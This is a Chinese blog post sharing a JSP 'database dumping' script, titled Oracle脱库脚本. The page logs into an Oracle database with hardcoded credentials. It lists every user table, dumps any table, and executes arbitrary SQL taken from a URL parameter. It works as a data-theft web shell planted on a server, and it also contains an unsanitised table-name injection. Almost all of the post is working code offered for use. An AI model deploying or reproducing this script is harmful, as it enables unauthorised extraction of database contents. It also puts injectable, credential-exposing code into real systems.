Oracle脱库脚本

最新推荐文章于 2022-06-06 12:54:11 发布

N3verL4nd

最新推荐文章于 2022-06-06 12:54:11 发布

阅读量1.7k

点赞数 1

分类专栏： JAVA Java学习笔记

本文链接：https://blog.csdn.net/x_iya/article/details/78632018

版权

JAVA 同时被 2 个专栏收录

204 篇文章 4 订阅

订阅专栏

Java学习笔记

173 篇文章 16 订阅

订阅专栏

虽说十分简陋，但是应对一般的查询操作已经足够了。

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<!DOCTYPE html>
<html>
<head>
    <title>Oracle数据库脱库脚本--N3verL4nd</title>
</head>
<body>
<%!
    /**
     * 获取结果集的 ColumnLabel 对应的 List
     * @param rs
     * @return
     * @throws SQLException
     */
    @SuppressWarnings("unchecked")
    private List getColumnLabels(ResultSet rs) throws SQLException {
        ResultSetMetaData metaData;
        List labels = new ArrayList();
        metaData = rs.getMetaData();
        for (int i = 0; i < metaData.getColumnCount(); i++) {
            labels.add(metaData.getColumnLabel(i + 1));
        }
        return labels;
    }

    /**
     * 将 ResultSet 转换为 List 并返回
     * @param rs
     * @return
     * @throws SQLException
     */
    @SuppressWarnings("unchecked")
    private List resolveResultSet(ResultSet rs) throws SQLException {
        List list = new ArrayList();
        Map map = null;
        List<String> labels = getColumnLabels(rs);
        while (rs.next()) {
            map = new HashMap();
            for (int i = 0; i < labels.size(); i++) {
                String label = labels.get(i);
                map.put(label, rs.getObject(label));
            }
            list.add(map);
        }
        return list;
    }
%>

<%
    try {
        Class.forName("oracle.jdbc.driver.OracleDriver");
    } catch (ClassNotFoundException e) {
        e.printStackTrace();
    }

    // 需要配置的地方
    //-----------------------------
    String url = "jdbc:oracle:thin:@127.0.0.1:1521:drcom";
    String username = "drcom";
    String password = "drcom";
    //-----------------------------

    Connection conn = null;
    Statement stmt = null;
    ResultSet rs = null;

    String path = request.getScheme() + "://" +
            request.getServerName() + ":" +
            request.getServerPort() +
            request.getContextPath() +
            request.getServletPath();

    try {
        conn = DriverManager.getConnection(url, username, password);
        if (request.getParameter("sql") != null && !request.getParameter("sql").equals("")) {
            String sql = request.getParameter("sql");
            stmt = conn.createStatement();
            rs = stmt.executeQuery(sql);

            List list = resolveResultSet(rs);
            for (int i = 0; i < list.size(); i++) {
                Map map = (Map) list.get(i);
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object key = entry.getKey();
                    Object value = entry.getValue();
                    out.println(key.toString().toLowerCase() + ":" + value);
                    out.println("&nbsp;&nbsp;");
                }
                out.println("<br />");
            }

        } else if (request.getParameter("table") == null || request.getParameter("table").equals("")) {
            // 输出所有用户表
            stmt = conn.createStatement();
            rs = stmt.executeQuery("select table_name from user_tables");
            out.println("<p>当前 Oracle 数据库中所有用户表:</p>");
            while (rs.next()) {
                out.print("<a href=");
                out.print(path);
                out.print("?table=");
                out.print(rs.getString(1));
                out.print(" target=_blank>");
                out.print(rs.getString(1));
                out.print("</a><br />");
            }
        } else {
            String table = request.getParameter("table");
            stmt = conn.createStatement();
            rs = stmt.executeQuery("select * from " + table);

            List list = resolveResultSet(rs);

            out.println("当前数据库 " + table + " 共有 " + list.size() + " 条记录！<br />");

            out.println("<table border=\"1\">");

            if (list.size() != 0) {
                Map map = (Map) list.get(0);
                out.println("<tr>");
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object value = entry.getKey();
                    out.println("<th>" + value + "</th>");
                }
                out.println("</tr>");
            }

            for (int i = 0; i < list.size(); i++) {
                out.println("<tr>");
                Map map = (Map) list.get(i);
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object value = entry.getValue();
                    out.println("<td>" + value + "</td>");
                }
                out.println("</tr>");
            }
            out.println("</table>");
        }

    } catch (SQLException e) {
        e.printStackTrace();
    } finally {
        if (rs != null) {
            try {
                rs.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
        if (stmt != null) {
            try {
                stmt.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
        if (conn != null) {
            try {
                conn.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
    }
%>
</body>
</html>